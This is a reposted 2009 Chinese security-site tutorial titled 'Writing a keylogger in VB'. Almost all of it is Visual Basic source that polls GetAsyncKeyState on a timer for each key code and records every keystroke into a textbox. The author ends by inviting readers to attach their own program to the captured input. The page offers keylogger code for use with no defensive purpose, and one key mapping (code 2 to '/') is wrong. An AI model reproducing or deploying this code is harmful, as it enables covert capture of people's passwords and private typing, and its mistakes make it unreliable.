您没有来错地!为了更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

VB编写键盘记录器

2009-8-7 12:28| 投稿: security

摘要:   这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。GetAsyncKeyState函数根据虚拟键表判断按键的类型。返回值为一个16位的...
  这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。GetAsyncKeyState函数根据虚拟键表判断按键的类型。返回值为一个16位的二进值数,如果被按下则最高位为1,即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义:  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer  好了,函数就先介绍这么多,下面开始动手实战了  first,当然是创建窗口了      在时间控件的Timer时间中定义检查按键类型,代码如下:  Dim AddKey  KeyResult = GetAsyncKeyState(13) '回车键  If KeyResult = -32767 Then  AddKey = "[ENTER]"  GoTo KeyFound  End If  KeyResult = GetAsyncKeyState(17) 'Ctrl键  If KeyResult = -32767 Then  AddKey = "[CTRL]"  GoTo KeyFound  End If  KeyResult = GetAsyncKeyState(8) '退格键  If KeyResult = -32767 Then  AddKey = "[BKSPACE]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(9)  If KeyResult = -32767 Then  AddKey = "[TAB]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(18)  If KeyResult = -32767 Then  AddKey = "[ALT]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(19)  If KeyResult = -32767 Then  AddKey = "[PAUSE]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(20)  If KeyResult = -32767 Then  AddKey = "[CAPS]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(27)  If KeyResult = -32767 Then  AddKey = "[ESC]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(33)  If KeyResult = -32767 Then  AddKey = "[PGUP]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(34)  If KeyResult = -32767 Then  AddKey = "[PGDN]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(35)  If KeyResult = -32767 Then  AddKey = "[END]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(36)  If KeyResult = -32767 Then  AddKey = "[HOME]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(44)  If KeyResult = -32767 Then  AddKey = "[SYSRQ]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(45)  If KeyResult = -32767 Then  AddKey = "[INS]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(46)  If KeyResult = -32767 Then  AddKey = "[DEL]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(144)  If KeyResult = -32767 Then  AddKey = "[NUM]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(37)  If KeyResult = -32767 Then  AddKey = "[LEFT]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(38)  If KeyResult = -32767 Then  AddKey = "[UP]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(39)  If KeyResult = -32767 Then  AddKey = "[RIGHT]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(40)  If KeyResult = -32767 Then  AddKey = "[DOWN]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(112)  If KeyResult = -32767 Then  AddKey = "[F1]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(113)  If KeyResult = -32767 Then  AddKey = "[F2]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(114)  If KeyResult = -32767 Then  AddKey = "[F3]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(115)  If KeyResult = -32767 Then  AddKey = "[F4]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(116)  If KeyResult = -32767 Then  AddKey = "[F5]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(117)  If KeyResult = -32767 Then  AddKey = "[F6]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(118)  If KeyResult = -32767 Then  AddKey = "[F7]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(119)  If KeyResult = -32767 Then  AddKey = "[F8]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(120)  If KeyResult = -32767 Then  AddKey = "[F9]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(121)  If KeyResult = -32767 Then  AddKey = "[F10]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(122)  If KeyResult = -32767 Then  AddKey = "[F11]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(123)  If KeyResult = -32767 Then  AddKey = "[F12]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(124)  If KeyResult = -32767 Then  AddKey = "[F13]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(125)  If KeyResult = -32767 Then  AddKey = "[F14]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(126)  If KeyResult = -32767 Then  AddKey = "[F15]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(127)  If KeyResult = -32767 Then  AddKey = "[F16]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(32)  If KeyResult = -32767 Then  AddKey = " "  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(186)  If KeyResult = -32767 Then  AddKey = ";"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(187)  If KeyResult = -32767 Then  AddKey = "="  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(188)  If KeyResult = -32767 ThenAddKey = ","  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(189)  If KeyResult = -32767 Then  AddKey = "-"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(190)  If KeyResult = -32767 Then  AddKey = "."  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(191)  If KeyResult = -32767 Then  AddKey = "/" '/  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(192)  If KeyResult = -32767 Then  AddKey = "`" '`  GoTo KeyFound  End If    '----------NUM PAD  KeyResult = GetAsyncKeyState(96)  If KeyResult = -32767 Then  AddKey = "0"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(97)  If KeyResult = -32767 Then  AddKey = "1"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(98)  If KeyResult = -32767 Then  AddKey = "2"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(99)  If KeyResult = -32767 Then  AddKey = "3"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(100)  If KeyResult = -32767 Then  AddKey = "4"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(101)  If KeyResult = -32767 Then  AddKey = "5"  GoTo KeyFound  End If  '版权所有:教程中国    KeyResult = GetAsyncKeyState(102)  If KeyResult = -32767 Then  AddKey = "6"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(103)  If KeyResult = -32767 Then  AddKey = "7"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(104)  If KeyResult = -32767 Then  AddKey = "8"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(105)  If KeyResult = -32767 Then  AddKey = "9"  GoTo KeyFound  End If      KeyResult = GetAsyncKeyState(106)  If KeyResult = -32767 Then  AddKey = "*"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(107)  If KeyResult = -32767 Then  AddKey = "+"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(108)  If KeyResult = -32767 Then  AddKey = "[ENTER]"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(109)  If KeyResult = -32767 Then  AddKey = "-"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(110)  If KeyResult = -32767 Then  AddKey = "."  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(2)  If KeyResult = -32767 Then  AddKey = "/"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(220)  If KeyResult = -32767 Then  AddKey = "\"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(222)  If KeyResult = -32767 Then  AddKey = "'"  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(221)  If KeyResult = -32767 Then  AddKey = "]"      GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(219)  If KeyResult = -32767 Then  AddKey = "["  GoTo KeyFound  End If    KeyResult = GetAsyncKeyState(16) 'shift键  If KeyResult = -32767 And TimeOut = 0 Then  AddKey = "[SHIFT]"  LastKey = AddKey  TimeOut = 1  GoTo KeyFound  End If    KeyLoop = 41    Do Until KeyLoop = 256 ' 显示其他键  KeyResult = GetAsyncKeyState(KeyLoop)  If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)  KeyLoop = KeyLoop + 1  Loop  LastKey = AddKey  Exit Sub  KeyFound: '显示键的信息    Text1 = Text1 & AddKey  End Sub  上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……  由于数目太多,一一列举不方便  下面是其他的事件  Private Sub Timer2_Timer()  TimeOut = 0  End Sub  目的是随时刷新清空  记录键盘输入后就准备你自己所设定的程序了。。。      例如:按ENTER  当VB检测到信息后执行相应的操作。。。

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部